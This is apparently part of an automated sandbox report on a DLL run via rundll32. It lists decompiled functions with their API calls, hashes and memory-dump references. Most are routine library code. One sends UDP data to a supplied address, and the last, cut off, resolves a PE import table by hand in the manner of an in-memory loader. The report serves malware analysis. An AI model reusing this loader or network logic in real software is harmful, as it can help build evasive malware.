				_v8 =  *0x10057a08 ^ _t31;
				_t24 = _a8;
				_t30 = __ecx;
				_t29 = _a4;
				if( *((intOrPtr*)(__ecx + 0x54)) == 0) {
					E10016DF0( &_v24, 0x10, "%d", _a12);
					_t18 = WritePrivateProfileStringA(_t29, _t24,  &_v24,  *(__ecx + 0x68));
				} else {
					_t30 = E10013ED1(__ecx, _t29);
					if(_t30 != 0) {
						_t21 = RegSetValueExA(_t30, _t24, 0, 4,  &_a12, 4);
						_t29 = _t21;
						RegCloseKey(_t30);
						_t18 = 0 | _t21 == 0x00000000;
					}
				}
				return E100167D5(_t18, _t24, _v8 ^ _t31, _t28, _t29, _t30);
			}

0x10013f17
0x10013f24
0x10013f28
0x10013f2c
0x10013f33
0x10013f36
0x10013f76
0x10013f87
0x10013f38
0x10013f3e
0x10013f42
0x10013f50
0x10013f57
0x10013f59
0x10013f63
0x10013f63
0x10013f42
0x10013f9b

APIs

RegSetValueExA.ADVAPI32(00000000,?,00000000,00000004,?,00000004), ref: 10013F50
RegCloseKey.ADVAPI32(00000000), ref: 10013F59
_swprintf.LIBCMT ref: 10013F76
WritePrivateProfileStringA.KERNEL32(?,?,?,?), ref: 10013F87

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: ClosePrivateProfileStringValueWrite_swprintf
String ID:
API String ID: 4210924919-0
Opcode ID: 72724b54134d1e17f7023dcd4e88edc389080316b6c32af13a85a47034679497
Instruction ID: 30a1eb16c1be1d822a6ca59f9e75d62d608c78195c8382286e316af6553577e2
Opcode Fuzzy Hash: 72724b54134d1e17f7023dcd4e88edc389080316b6c32af13a85a47034679497
Instruction Fuzzy Hash: 25018076900219BBDB00DF648C85FAF77BCEF48754F104469FA01AB181DA74E94597A4

Uniqueness

Uniqueness Score: -1.00%

Function 1000B244, Relevance: 6.0, APIs: 4, Instructions: 50
windowCOMMON

Download Yara Rule

C-Code - Quality: 91%

			E1000B244(void* __ecx, void* __edi, void* __ebp, signed int _a4) {
				void* __ebx;
				void* __esi;
				void* _t16;
				int _t17;
				int _t18;
				struct HWND__* _t19;
				intOrPtr _t25;
				intOrPtr _t33;
				void* _t35;

				_t32 = __edi;
				_t35 = __ecx;
				_t25 =  *((intOrPtr*)(__ecx + 0xc));
				if(_t25 == 0) {
					__eflags =  *((intOrPtr*)(__ecx + 0x14));
					if(__eflags == 0) {
						L3:
						_t17 = E1000A0DB(0, _t25, _t32, _t35, _t39);
						L4:
						asm("sbb edx, edx");
						_t18 = EnableMenuItem( *(_t25 + 4), _t17, ( ~_a4 & 0xfffffffd) + 0x00000003 | 0x00000400);
						L11:
						 *((intOrPtr*)(_t35 + 0x18)) = 1;
						return _t18;
					}
					__eflags = _a4;
					if(_a4 == 0) {
						_push(__edi);
						_t33 =  *((intOrPtr*)(__ecx + 0x14));
						_t19 = GetFocus();
						__eflags = _t19 -  *(_t33 + 0x20);
						if(_t19 ==  *(_t33 + 0x20)) {
							SendMessageA( *(E1000FB5C(0, _t25, __ebp, GetParent( *(_t33 + 0x20))) + 0x20), 0x28, 0, 0);
						}
					}
					_t18 = E10012913( *((intOrPtr*)(_t35 + 0x14)), _a4);
					goto L11;
				}
				if( *((intOrPtr*)(__ecx + 0x10)) == 0) {
					_t17 =  *(__ecx + 8);
					_t39 = _t17 -  *((intOrPtr*)(__ecx + 0x20));
					if(_t17 <  *((intOrPtr*)(__ecx + 0x20))) {
						goto L4;
					}
					goto L3;
				}
				return _t16;
			}

APIs

EnableMenuItem.USER32 ref: 1000B27C

Part of subcall function 1000A0DB: __CxxThrowException@8.LIBCMT ref: 1000A0EF
Part of subcall function 1000A0DB: __EH_prolog3.LIBCMT ref: 1000A0FC

GetFocus.USER32 ref: 1000B293
GetParent.USER32(?), ref: 1000B2A1
SendMessageA.USER32 ref: 1000B2B4

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: EnableException@8FocusH_prolog3ItemMenuMessageParentSendThrow
String ID:
API String ID: 3849708097-0
Opcode ID: 716c6444658c0fcd22857925786988681d98949d7d446b879da325b0eb7e7aaf
Instruction ID: 6f1bf2e13571d4607552996c72993327e3919edcc1f96bcd7a145644f4ad6856
Opcode Fuzzy Hash: 716c6444658c0fcd22857925786988681d98949d7d446b879da325b0eb7e7aaf
Instruction Fuzzy Hash: FB115B71500A11AFE720DF64CCC9D1EBBF6FF893A5B118A2DF186869A8C731AC45CB50

Uniqueness

Uniqueness Score: -1.00%

Function 1001044A, Relevance: 6.0, APIs: 4, Instructions: 49
COMMON

Download Yara Rule

C-Code - Quality: 77%

			E1001044A(void* __ebx, void* __ecx, struct HWND__* _a4, int _a8, int _a12, long _a16, struct HWND__* _a20, struct HWND__* _a24) {
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t16;
				struct HWND__* _t18;
				struct HWND__* _t20;
				void* _t22;
				void* _t23;
				void* _t24;
				struct HWND__* _t25;

				_t23 = __ecx;
				_t22 = __ebx;
				_t24 = GetTopWindow;
				_t16 = GetTopWindow(_a4);
				while(1) {
					_t25 = _t16;
					if(_t25 == 0) {
						break;
					}
					__eflags = _a24;
					if(__eflags == 0) {
						SendMessageA(_t25, _a8, _a12, _a16);
					} else {
						_t20 = E1000FB83(_t23, _t24, _t25, __eflags, _t25);
						__eflags = _t20;
						if(__eflags != 0) {
							_push(_a16);
							_push(_a12);
							_push(_a8);
							_push( *((intOrPtr*)(_t20 + 0x20)));
							_push(_t20);
							E1001016F(_t22, _t24, _t25, __eflags);
						}
					}
					__eflags = _a20;
					if(_a20 != 0) {
						_t18 = GetTopWindow(_t25);
						__eflags = _t18;
						if(_t18 != 0) {
							E1001044A(_t22, _t23, _t25, _a8, _a12, _a16, _a20, _a24);
						}
					}
					_t16 = GetWindow(_t25, 2);
				}
				return _t16;
			}

APIs

GetTopWindow.USER32(00000000), ref: 10010458
GetTopWindow.USER32(00000000), ref: 10010497
GetWindow.USER32(00000000,00000002), ref: 100104B5

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: Window
String ID:
API String ID: 2353593579-0
Opcode ID: bfa56acb45854e1eb2d8939f4edd14d374eedcc28d24ff6845afa1ef48a187dc
Instruction ID: cb0d0bbe13ee34529c330f041d0b53c98759dff42d13bab1c22f515cd31b8fc3
Opcode Fuzzy Hash: bfa56acb45854e1eb2d8939f4edd14d374eedcc28d24ff6845afa1ef48a187dc
Instruction Fuzzy Hash: CD01257620061ABBDF12DF908C44E9F3A6AEF08390F018014FE8458060C7B6D9A2EBA5

Uniqueness

Uniqueness Score: -1.00%

Function 100223DD, Relevance: 6.0, APIs: 4, Instructions: 48
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E100223DD(void* __ebx, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16, intOrPtr _a20, intOrPtr _a24, intOrPtr _a28) {
				intOrPtr _t25;
				void* _t26;
				void* _t28;
				void* _t29;

				_t28 = __ebx;
				_t25 = _a16;
				if(_t25 == 0x65 || _t25 == 0x45) {
					_t26 = E10021CDA(_t29, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
					goto L9;
				} else {
					_t35 = _t25 - 0x66;
					if(_t25 != 0x66) {
						__eflags = _t25 - 0x61;
						if(_t25 == 0x61) {
							L7:
							_t26 = E10021DC6(_t28, _t29, _a4, _a8, _a12, _a20, _a24, _a28);
						} else {
							__eflags = _t25 - 0x41;
							if(__eflags == 0) {
								goto L7;
							} else {
								_t26 = E100222E5(_t29, __eflags, _a4, _a8, _a12, _a20, _a24, _a28);
							}
						}
						L9:
						return _t26;
					} else {
						return E1002222C(_t29, _t35, _a4, _a8, _a12, _a20, _a28);
					}
				}
			}

APIs

__cftof_l.LIBCMT ref: 10022401

Part of subcall function 1002222C: __fltout2.LIBCMT ref: 10022256

__cftog_l.LIBCMT ref: 10022427
__cftoe_l.LIBCMT ref: 10022459

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: __cftoe_l__cftof_l__cftog_l__fltout2
String ID:
API String ID: 3016257755-0
Opcode ID: 7ea3a893bf3bd11cad7cd0372379ff1f7e327c259811a7a92178e9d3a0fb71f7
Instruction ID: 8dbc0b72f00ea763734ae0c8b1a7260823f108f727578f4f2c9ad294c4834352
Opcode Fuzzy Hash: 7ea3a893bf3bd11cad7cd0372379ff1f7e327c259811a7a92178e9d3a0fb71f7
Instruction Fuzzy Hash: 4201287A40014ABBCF12AEC4EC41CEE3F66FB18294B958515FE1858531D236D9B2AB81

Uniqueness

Uniqueness Score: -1.00%

Function 1000FE47, Relevance: 6.0, APIs: 4, Instructions: 48
COMMON

Download Yara Rule

C-Code - Quality: 96%

			E1000FE47(void* __ebx, void* __ecx, struct HWND__* _a4, int _a8, intOrPtr _a12) {
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HWND__* _t9;
				struct HWND__* _t10;
				void* _t14;
				void* _t15;
				struct HWND__* _t16;
				struct HWND__* _t17;
				void* _t18;

				_t14 = __ecx;
				_t13 = __ebx;
				_t9 = GetDlgItem(_a4, _a8);
				_t15 = GetTopWindow;
				_t16 = _t9;
				if(_t16 == 0) {
					L6:
					_t10 = GetTopWindow(_a4);
					while(1) {
						_t17 = _t10;
						__eflags = _t17;
						if(_t17 == 0) {
							goto L10;
						}
						_t10 = E1000FE47(_t13, _t14, _t17, _a8, _a12);
						__eflags = _t10;
						if(_t10 == 0) {
							_t10 = GetWindow(_t17, 2);
							continue;
						}
						goto L10;
					}
				} else {
					if(GetTopWindow(_t16) == 0) {
						L3:
						_push(_t16);
						if(_a12 == 0) {
							return E1000FB5C(_t13, _t14, _t18);
						}
						_t10 = E1000FB83(_t14, _t15, _t16, __eflags);
						__eflags = _t10;
						if(_t10 == 0) {
							goto L6;
						}
					} else {
						_t10 = E1000FE47(__ebx, _t14, _t16, _a8, _a12);
						if(_t10 == 0) {
							goto L3;
						}
					}
				}
				L10:
				return _t10;
			}

APIs

GetDlgItem.USER32 ref: 1000FE52
GetTopWindow.USER32(00000000), ref: 1000FE65

Part of subcall function 1000FE47: GetWindow.USER32(00000000,00000002), ref: 1000FEAC

GetTopWindow.USER32(?), ref: 1000FE95

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: Window$Item
String ID:
API String ID: 369458955-0
Opcode ID: c12eecb807ab7f0029ae595babd55ab8876d87e96eec09ecdb4c3faaf2806783
Instruction ID: 3243c1bb31c4da8a8ed3b9d60ce207d24ba739ee5e1db1414c8eeda74806f304
Opcode Fuzzy Hash: c12eecb807ab7f0029ae595babd55ab8876d87e96eec09ecdb4c3faaf2806783
Instruction Fuzzy Hash: 07018F374016AAB7EB229F60CC00AAF3A98EF447D0F018018FD049153AD731DA12BAA0

Uniqueness

Uniqueness Score: -1.00%

Function 1001D6BC, Relevance: 6.0, APIs: 4, Instructions: 47
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 88%

			E1001D6BC(void* __ebx, void* __edx, void* __edi, void* __esi, void* __eflags) {
				long _t23;
				void* _t31;
				LONG* _t33;
				void* _t34;
				void* _t35;

				_t35 = __eflags;
				_t29 = __edx;
				_t25 = __ebx;
				_push(0xc);
				_push(0x1002fae0);
				E1001984C(__ebx, __edi, __esi);
				_t31 = E1001BF79(__edx, __edi, _t35);
				if(( *(_t31 + 0x70) &  *0x1005826c) == 0 ||  *((intOrPtr*)(_t31 + 0x6c)) == 0) {
					E1001A549(0xd);
					 *(_t34 - 4) =  *(_t34 - 4) & 0x00000000;
					_t33 =  *(_t31 + 0x68);
					 *(_t34 - 0x1c) = _t33;
					__eflags = _t33 -  *0x10058170;
					if(_t33 !=  *0x10058170) {
						__eflags = _t33;
						if(_t33 != 0) {
							_t23 = InterlockedDecrement(_t33);
							__eflags = _t23;
							if(_t23 == 0) {
								__eflags = _t33 - 0x10057d48;
								if(__eflags != 0) {
									_push(_t33);
									E10016380(_t25, _t31, _t33, __eflags);
								}
							}
						}
						 *(_t31 + 0x68) =  *0x10058170;
						_t33 =  *0x10058170;
						 *(_t34 - 0x1c) = _t33;
						InterlockedIncrement(_t33);
					}
					 *(_t34 - 4) = 0xfffffffe;
					E1001D757();
				} else {
					_t33 =  *(_t31 + 0x68);
				}
				if(_t33 == 0) {
					E10017DA6(_t25, _t29, _t31, 0x20);
				}
				return E10019891(_t33);
			}

0x1001d6bc
0x1001d6bc
0x1001d6bc
0x1001d6bc
0x1001d6be
0x1001d6c3
0x1001d6cd
0x1001d6d7
0x1001d6f8
0x1001d6fe
0x1001d702
0x1001d705
0x1001d708
0x1001d70e
0x1001d710
0x1001d712
0x1001d715
0x1001d71b
0x1001d71d
0x1001d71f
0x1001d725
0x1001d727
0x1001d728
0x1001d72d
0x1001d725
0x1001d71d
0x1001d733
0x1001d736
0x1001d73c
0x1001d740
0x1001d740
0x1001d746
0x1001d74d
0x1001d6df
0x1001d6df
0x1001d6df
0x1001d6e4
0x1001d6e8
0x1001d6ed
0x1001d6f5

APIs

Part of subcall function 1001BF79: __getptd_noexit.LIBCMT ref: 1001BF7A
Part of subcall function 1001BF79: __amsg_exit.LIBCMT ref: 1001BF87

__amsg_exit.LIBCMT ref: 1001D6E8
__lock.LIBCMT ref: 1001D6F8
InterlockedDecrement.KERNEL32(?), ref: 1001D715
InterlockedIncrement.KERNEL32(?), ref: 1001D740

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: Interlocked__amsg_exit$DecrementIncrement__getptd_noexit__lock
String ID:
API String ID: 2880340415-0
Opcode ID: c820c896aabaa0a2095c39d05bd9b26938a44304a92efda62120de517e880afa
Instruction ID: ba7e7af5003a78fddfad0021ce05134b2f36e9a59f0d2c47ef46babd1389d2ef
Opcode Fuzzy Hash: c820c896aabaa0a2095c39d05bd9b26938a44304a92efda62120de517e880afa
Instruction Fuzzy Hash: 95016D39904A21EBEB41FB65988679D77A4FF05790F11410AE804AF291DB34E9C2CB95

Uniqueness

Uniqueness Score: -1.00%

Function 100126F9, Relevance: 6.0, APIs: 4, Instructions: 42
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E100126F9(void* __ecx, CHAR* _a4) {
				void* __ebx;
				void* __edi;
				void* __esi;
				void* __ebp;
				struct HRSRC__* _t8;
				void* _t9;
				void* _t11;
				void* _t14;
				void* _t15;
				void* _t16;
				struct HINSTANCE__* _t17;
				void* _t18;

				_t14 = 0;
				_t11 = 0;
				_t19 = _a4;
				_t18 = __ecx;
				if(_a4 == 0) {
					L4:
					_t16 = E100122B0(_t11, _t18, _t11);
					if(_t11 != 0 && _t14 != 0) {
						FreeResource(_t14);
					}
					return _t16;
				}
				_t17 =  *(E1000D5EC(0, 0, _t15, _t19) + 0xc);
				_t8 = FindResourceA(_t17, _a4, 0xf0);
				if(_t8 == 0) {
					goto L4;
				}
				_t9 = LoadResource(_t17, _t8);
				_t14 = _t9;
				if(_t14 != 0) {
					_t11 = LockResource(_t14);
					goto L4;
				}
				return _t9;
			}

APIs

FindResourceA.KERNEL32(?,?,000000F0), ref: 1001271B
LoadResource.KERNEL32(?,00000000,?,?,?,?,1000C840,?,?,10008B31), ref: 10012727
LockResource.KERNEL32(00000000,?,?,?,?,1000C840,?,?,10008B31), ref: 10012734
FreeResource.KERNEL32(00000000,00000000,?,?,?,?,1000C840,?,?,10008B31), ref: 1001274F

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: Resource$FindFreeLoadLock
String ID:
API String ID: 1078018258-0
Opcode ID: 8a3f5fca82a0f9630a7b8cc452aba64c847f2dafa8f29946bde4c5ad79aa4676
Instruction ID: 32ecfa8a0ceb179aec2dc768c20ccd4f8790d9104fa4174b83ef058a4c527ff5
Opcode Fuzzy Hash: 8a3f5fca82a0f9630a7b8cc452aba64c847f2dafa8f29946bde4c5ad79aa4676
Instruction Fuzzy Hash: 54F090762042226FA3019B675C88A3BB7ECEFC55E2B110039FE04D6291EE35CC629771

Uniqueness

Uniqueness Score: -1.00%

Function 10001360, Relevance: 6.0, APIs: 4, Instructions: 40
networkCOMMON

Download Yara Rule

C-Code - Quality: 25%

			E10001360(intOrPtr __ebx, intOrPtr __ecx, intOrPtr __esi, void* __eflags, intOrPtr _a4, intOrPtr _a8, intOrPtr _a12, intOrPtr _a16) {
				signed int _v8;
				short _v20;
				short _v22;
				char _v24;
				intOrPtr _v28;
				short _t18;
				intOrPtr _t31;
				signed int _t33;

				_v8 =  *0x10057a08 ^ _t33;
				_v28 = __ecx;
				_t18 = E100174D0(_t31,  &_v24, 0, 0x10);
				_v24 = 2;
				__imp__#11(_a4);
				_v20 = _t18;
				__imp__#9(_a8);
				_v22 = _t18;
				__imp__#20(_a12, _a16, 0,  &_v24, 0x10);
				return E100167D5(_v28, __ebx, _v8 ^ _t33, _a12, _t31, __esi,  *((intOrPtr*)(_v28 + 0x24)));
			}

0x1000136d
0x10001370
0x1000137b
0x10001383
0x1000138d
0x10001393
0x1000139b
0x100013a1
0x100013bc
0x100013cf

APIs

_memset.LIBCMT ref: 1000137B
inet_addr.WS2_32(?), ref: 1000138D
htons.WS2_32(?), ref: 1000139B
sendto.WS2_32(?,?,00000002,00000000,00000002,00000010), ref: 100013BC

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: _memsethtonsinet_addrsendto
String ID:
API String ID: 1158618643-0
Opcode ID: 55dc4d04b4578ce397bb679e501a1161249c23db44447d4e71df0ac46d681eb6
Instruction ID: 4ca8e198367322d4385a70dad1c3d41f0382a071c465ebc2c9307440f54d584b
Opcode Fuzzy Hash: 55dc4d04b4578ce397bb679e501a1161249c23db44447d4e71df0ac46d681eb6
Instruction Fuzzy Hash: D0017CB590020DABDB00DFA4CC86EAE77B8FF48300F104419F905AB281EB70AA40DBA1

Uniqueness

Uniqueness Score: -1.00%

Function 1000CCD3, Relevance: 6.0, APIs: 4, Instructions: 32
COMMON

Download Yara Rule

C-Code - Quality: 100%

			E1000CCD3() {
				intOrPtr _t16;
				struct HWND__* _t19;
				intOrPtr _t23;
				intOrPtr* _t28;
				void* _t29;

				_t28 =  *((intOrPtr*)(_t29 - 0x20));
				_t23 =  *((intOrPtr*)(_t29 - 0x24));
				if( *((intOrPtr*)(_t29 - 0x28)) != 0) {
					E10012913(_t23, 1);
				}
				if( *((intOrPtr*)(_t29 - 0x2c)) != 0) {
					EnableWindow( *(_t29 - 0x14), 1);
				}
				if( *(_t29 - 0x14) != 0) {
					_t19 = GetActiveWindow();
					_t34 = _t19 -  *((intOrPtr*)(_t28 + 0x20));
					if(_t19 ==  *((intOrPtr*)(_t28 + 0x20))) {
						SetActiveWindow( *(_t29 - 0x14));
					}
				}
				 *((intOrPtr*)( *_t28 + 0x60))();
				E1000C6E6(_t23, _t28, 0, _t28, _t34);
				if( *((intOrPtr*)(_t28 + 0x58)) != 0) {
					FreeResource( *(_t29 - 0x18));
				}
				_t16 =  *((intOrPtr*)(_t28 + 0x44));
				return E10017C60(_t16);
			}

APIs

EnableWindow.USER32(?,00000001), ref: 1000CCF3
GetActiveWindow.USER32 ref: 1000CCFE
SetActiveWindow.USER32(?,?,00000024,100014EC,00000000,?), ref: 1000CD0C
FreeResource.KERNEL32(?,?,00000024,100014EC,00000000,?), ref: 1000CD28

Part of subcall function 10012913: EnableWindow.USER32(?,?), ref: 10012920

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: Window$ActiveEnable$FreeResource
String ID:
API String ID: 253586258-0
Opcode ID: 5728dce3dbdb708f9e7fb54369dca357d78a73ff54a3e2536421aa2b19b7c5fa
Instruction ID: b9d50a594c6b72ab84edc47d27728691b22d7b2ae70339502ef362fb55dd66ce
Opcode Fuzzy Hash: 5728dce3dbdb708f9e7fb54369dca357d78a73ff54a3e2536421aa2b19b7c5fa
Instruction Fuzzy Hash: 97F04F3890071DDBEF12DB64C98599DBBF2FF48781B60002AE442722A5CB326D81DF51

Uniqueness

Uniqueness Score: -1.00%

Function 1000AD21, Relevance: 5.3, APIs: 2, Strings: 1, Instructions: 53
COMMON

Download Yara Rule

C-Code - Quality: 76%

			E1000AD21(void* __ecx) {
				signed int _v8;
				char _v16;
				char _v18;
				char _v280;
				void* __edi;
				void* __esi;
				void* __ebp;
				long _t14;
				intOrPtr _t15;
				char* _t18;
				intOrPtr _t21;
				intOrPtr _t33;
				signed int _t36;

				_v8 =  *0x10057a08 ^ _t36;
				_t35 = 0x104;
				_t14 = GetModuleFileNameA( *(__ecx + 0x44),  &_v280, 0x104);
				if(_t14 == 0 || _t14 == 0x104) {
					L4:
					_t15 = 0;
					__eflags = 0;
				} else {
					_t18 = PathFindExtensionA( &_v280);
					_t35 = "%s.dll";
					asm("movsd");
					asm("movsw");
					_t32 =  &_v280;
					_t41 = _t18 -  &_v280 + 7 - 0x106;
					asm("movsb");
					_t33 = _t33;
					if(_t18 -  &_v280 + 7 > 0x106) {
						goto L4;
					} else {
						E1000A7B3(_t21,  &_v280, _t33, "%s.dll", _t36, _t18,  &_v18 - _t18,  &_v16);
						_t15 = E1000AA3A(_t21,  &_v280, _t33, "%s.dll", _t41,  &_v280);
					}
				}
				return E100167D5(_t15, _t21, _v8 ^ _t36, _t32, _t33, _t35);
			}

0x1000ad31
0x1000ad37
0x1000ad47
0x1000ad4f
0x1000ada6
0x1000ada6
0x1000ada6
0x1000ad55
0x1000ad5d
0x1000ad63
0x1000ad6b
0x1000ad6c
0x1000ad70
0x1000ad7b
0x1000ad81
0x1000ad82
0x1000ad83
0x00000000
0x1000ad85
0x1000ad90
0x1000ad9f
0x1000ad9f
0x1000ad83
0x1000adb4

APIs

GetModuleFileNameA.KERNEL32(?,?,00000104), ref: 1000AD47
PathFindExtensionA.SHLWAPI(?), ref: 1000AD5D

Part of subcall function 1000A7B3: _strcpy_s.LIBCMT ref: 1000A7BF

Part of subcall function 1000AA3A: __EH_prolog3.LIBCMT ref: 1000AA59
Part of subcall function 1000AA3A: GetModuleHandleA.KERNEL32(kernel32.dll,00000058), ref: 1000AA7A
Part of subcall function 1000AA3A: GetProcAddress.KERNEL32(00000000,GetUserDefaultUILanguage), ref: 1000AA8B
Part of subcall function 1000AA3A: ConvertDefaultLocale.KERNEL32(?), ref: 1000AAC1
Part of subcall function 1000AA3A: ConvertDefaultLocale.KERNEL32(?), ref: 1000AAC9
Part of subcall function 1000AA3A: GetProcAddress.KERNEL32(?,GetSystemDefaultUILanguage), ref: 1000AADD
Part of subcall function 1000AA3A: ConvertDefaultLocale.KERNEL32(?), ref: 1000AB01
Part of subcall function 1000AA3A: ConvertDefaultLocale.KERNEL32(000003FF), ref: 1000AB07
Part of subcall function 1000AA3A: GetModuleFileNameA.KERNEL32(10000000,?,00000105), ref: 1000AB40

Strings

%s.dll, xrefs: 1000AD63

Memory Dump Source

Source File: 0000000C.00000002.322365881.0000000010001000.00000020.00020000.sdmp, Offset: 10000000, based on PE: true

Associated: 0000000C.00000002.322359402.0000000010000000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322397378.0000000010029000.00000002.00020000.sdmp Download File
Associated: 0000000C.00000002.322409110.0000000010032000.00000008.00020000.sdmp Download File

Joe Sandbox IDA Plugin

Snapshot File: hcaresult_12_2_10000000_rundll32.jbxd

Similarity

API ID: ConvertDefaultLocale$Module$AddressFileNameProc$ExtensionFindH_prolog3HandlePath_strcpy_s
String ID: %s.dll
API String ID: 3444012488-3668843792
Opcode ID: 6c30b6a237bf11204af5acb5ac5b7830e50b8e52d34c93bd03a652aa76484c2b
Instruction ID: a3b0371864cf8cb86b39257a88ab5a21b33b2e0076ae9bf6281b2400efea00f1
Opcode Fuzzy Hash: 6c30b6a237bf11204af5acb5ac5b7830e50b8e52d34c93bd03a652aa76484c2b
Instruction Fuzzy Hash: AD01F972A00018AFEF08DB74CD45DEE73B8DF46740F4102AAE906D3544EA70AB848662

Uniqueness

Uniqueness Score: -1.00%

Function 10002670, Relevance: 5.2, APIs: 4, Instructions: 181
COMMONLIBRARYCODE

Download Yara Rule

C-Code - Quality: 100%

			E10002670(intOrPtr __ecx, intOrPtr* _a4) {
				void* _v8;
				intOrPtr* _v12;
				intOrPtr _v16;
				intOrPtr _v20;
				intOrPtr* _v24;
				intOrPtr _v28;
				signed int* _v32;
				intOrPtr _v36;
				intOrPtr _v40;
				intOrPtr _v44;
				intOrPtr _t114;
				intOrPtr _t116;
				intOrPtr _t133;
				intOrPtr _t138;
				void* _t202;
				void* _t203;

				_v44 = __ecx;
				_v20 =  *((intOrPtr*)(_a4 + 4));
				_v16 = 1;
				_v12 =  *_a4 + 0x80;
				if( *((intOrPtr*)(_v12 + 4)) != 0) {
					_v8 = _v20 +  *_v12;
					while(IsBadReadPtr(_v8, 0x14) == 0 &&  *((intOrPtr*)(_v8 + 0xc)) != 0) {
						_t114 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x1c))))(_v20 +  *((intOrPtr*)(_v8 + 0xc)),  *((intOrPtr*)(_a4 + 0x28)));
						_t203 = _t202 + 8;
						_v36 = _t114;
						if(_v36 != 0) {
							_t116 = E10001F00( *((intOrPtr*)(_a4 + 8)), 4 +  *(_a4 + 0xc) * 4);
							_t202 = _t203 + 8;
							_v28 = _t116;
							if(_v28 != 0) {
								 *((intOrPtr*)(_a4 + 8)) = _v28;
								 *((intOrPtr*)( *((intOrPtr*)(_a4 + 8)) +  *(_a4 + 0xc) * 4)) = _v36;
								 *(_a4 + 0xc) =  *(_a4 + 0xc) + 1;
								if( *_v8 == 0) {
									_v32 = _v20 +  *((intOrPtr*)(_v8 + 0x10));
									_v24 = _v20 +  *((intOrPtr*)(_v8 + 0x10));
								} else {
									_v32 = _v20 +  *_v8;
									_v24 = _v20 +  *((intOrPtr*)(_v8 + 0x10));
								}
								while( *_v32 != 0) {
									if(( *_v32 & 0x80000000) == 0) {
										_v40 = _v20 +  *_v32;
										_t133 =  *((intOrPtr*)( *((intOrPtr*)(_a4 + 0x20))))(_v36, _v40 + 2,  *((intOrPtr*)(_a4 + 0x28)));
										_t202 = _t202 + 0xc;
										 *_v24 = _t133;
									} else {
